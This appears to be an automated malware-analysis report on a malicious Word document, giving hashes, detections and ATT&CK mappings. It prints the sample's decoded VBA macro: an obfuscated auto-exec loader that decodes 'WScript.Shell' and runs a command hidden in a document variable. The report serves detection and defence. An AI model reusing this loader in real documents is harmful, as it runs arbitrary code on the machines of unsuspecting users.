Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79777a9b7c786a53…

MALICIOUS

Office (OLE)

36.0 KB Created: 2018-05-22 05:57:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 5642800e02a2c3e4154e07560bfc96d0 SHA-1: 947f7f31d5a512e670b7d23c37f251e6fce56e68 SHA-256: 79777a9b7c786a53fa407cab2910eb2f149f47c1918b24e92f61e7514a8de9ed
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains heavily obfuscated VBA macros, including an auto-exec loader within the Workbook_Open subroutine. The script utilizes CreateObject and CallByName to execute a payload, likely downloaded or staged elsewhere. The obfuscation and use of auto-execution routines are strong indicators of malicious intent, aiming to run arbitrary code.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3410 bytes
SHA-256: 7f428a745a68192fcfe5ff1d21255087cc16f651e698caa665c5766b974bb317
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function acAE75A3() As String
Dim aacAE75A3 As String
aacAE75A3 = "95BA8F7A9BC28F8F8F678B58B08F8F8F78CC958F968F8FCF988F525F556C8F8F8F8F8F8FAC6EC58E5ABD886D8FAA7A605D93C38F8F8F8F6D8F528F8F8F91AF768F8F8F8F8FAE8F8BA38FB1B1B98F8F8F8FB28F6E8F848F9FA9C08F8F8E8F8F8F8F8FC88999C7657A7D8FA68F998F94628F8F8F8FCE588FCC8FC3C28F958F8F8F8F8F8F8FAEA5B19C8F8F528F50568F7BC88FBA8F668F8F8F8F8F8F55778F818F578F518F8F8F748F8F8F678F8EBD8F8F8F578F8FC9B48FB28F8FAC748F8B7C8FB18F8F8F6596928FC78F6CAC8FB89AB56879858F916A8FA0619B78BE8FA88FC3955C5481588F9B8F8F8F968F5662C0618F8F8F56A7"
acAE75A3 = aacAE75A3
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & L_HVP("97A2A89E")
End Sub
Public Sub GZ_B()
    Dim PXB_OTA As Object: Set PXB_OTA = VBA.CreateObject(L_HVP("A09CACBBB2B9BD779CB1AEB5B5"))
    CallByName PXB_OTA, "Run", VbMethod, L_HVP(ActiveDocument.Variables("K01VU").Value), 0, True
End Sub
Private Function acE7K0VT() As String
Dim aacE7K0VT As String
aacE7K0VT = "95BA8F7A9BC28F8F8F678B58B08F8F8F78CC958F968F8FCF988F525F556C8F8F8F8F8F8FAC6EC58E5ABD886D8FAA7A605D93C38F8F8F8F6D8F528F8F8F91AF768F8F8F8F8FAE8F8BA38FB1B1B98F8F8F8FB28F6E8F848F9FA9C08F8F8E8F8F8F8F8FC88999C7657A7D8FA68F998F94628F8F8F8FCE588FCC8FC3C28F958F8F8F8F8F8F8FAEA5B19C8F8F528F50568F7BC88FBA8F668F8F8F8F8F8F55778F818F578F518F8F8F748F8F8F678F8EBD8F8F8F578F8FC9B48FB28F8FAC748F8B7C8FB18F8F8F6596928FC78F6CAC8FB89AB56879858F916A8FA0619B78BE8FA88FC3955C5481588F9B8F8F8F968F5662C0618F8F8F56A7"
acE7K0VT = aacE7K0VT
End Function

Public Sub Document_Open()
    Application.Run L_HVP("97A2A89E")
End Sub
Public Function L_HVP(ByVal PXB_OTA As String)
   Dim BVT_I As String
   Dim WI_D As Long
   For WI_D = 1 To Len(PXB_OTA) Step 2
        BVT_I = BVT_I & Chr(CLng(Chr(38) & Chr(72) & Mid(PXB_OTA, WI_D, 2)) - 73)
   Next
   L_HVP = BVT_I
End Function
Private Function acJAPYU8() As String
Dim aacJAPYU8 As String
aacJAPYU8 = "95BA8F7A9BC28F8F8F678B58B08F8F8F78CC958F968F8FCF988F525F556C8F8F8F8F8F8FAC6EC58E5ABD886D8FAA7A605D93C38F8F8F8F6D8F528F8F8F91AF768F8F8F8F8FAE8F8BA38FB1B1B98F8F8F8FB28F6E8F848F9FA9C08F8F8E8F8F8F8F8FC88999C7657A7D8FA68F998F94628F8F8F8FCE588FCC8FC3C28F958F8F8F8F8F8F8FAEA5B19C8F8F528F50568F7BC88FBA8F668F8F8F8F8F8F55778F818F578F518F8F8F748F8F8F678F8EBD8F8F8F578F8FC9B48FB28F8FAC748F8B7C8FB18F8F8F6596928FC78F6CAC8FB89AB56879858F916A8FA0619B78BE8FA88FC3955C5481588F9B8F8F8F968F5662C0618F8F8F56A7"
acJAPYU8 = aacJAPYU8
End Function

Sub NY_U()
    GZ_B
End Sub
Private Function acP6ARG7() As String
Dim aacP6ARG7 As String
aacP6ARG7 = "95BA8F7A9BC28F8F8F678B58B08F8F8F78CC958F968F8FCF988F525F556C8F8F8F8F8F8FAC6EC58E5ABD886D8FAA7A605D93C38F8F8F8F6D8F528F8F8F91AF768F8F8F8F8FAE8F8BA38FB1B1B98F8F8F8FB28F6E8F848F9FA9C08F8F8E8F8F8F8F8FC88999C7657A7D8FA68F998F94628F8F8F8FCE588FCC8FC3C28F958F8F8F8F8F8F8FAEA5B19C8F8F528F50568F7BC88FBA8F668F8F8F8F8F8F55778F818F578F518F8F8F748F8F8F678F8EBD8F8F8F578F8FC9B48FB28F8FAC748F8B7C8FB18F8F8F6596928FC78F6CAC8FB89AB56879858F916A8FA0619B78BE8FA88FC3955C5481588F9B8F8F8F968F5662C0618F8F8F56A7"
acP6ARG7 = aacP6ARG7
End Function

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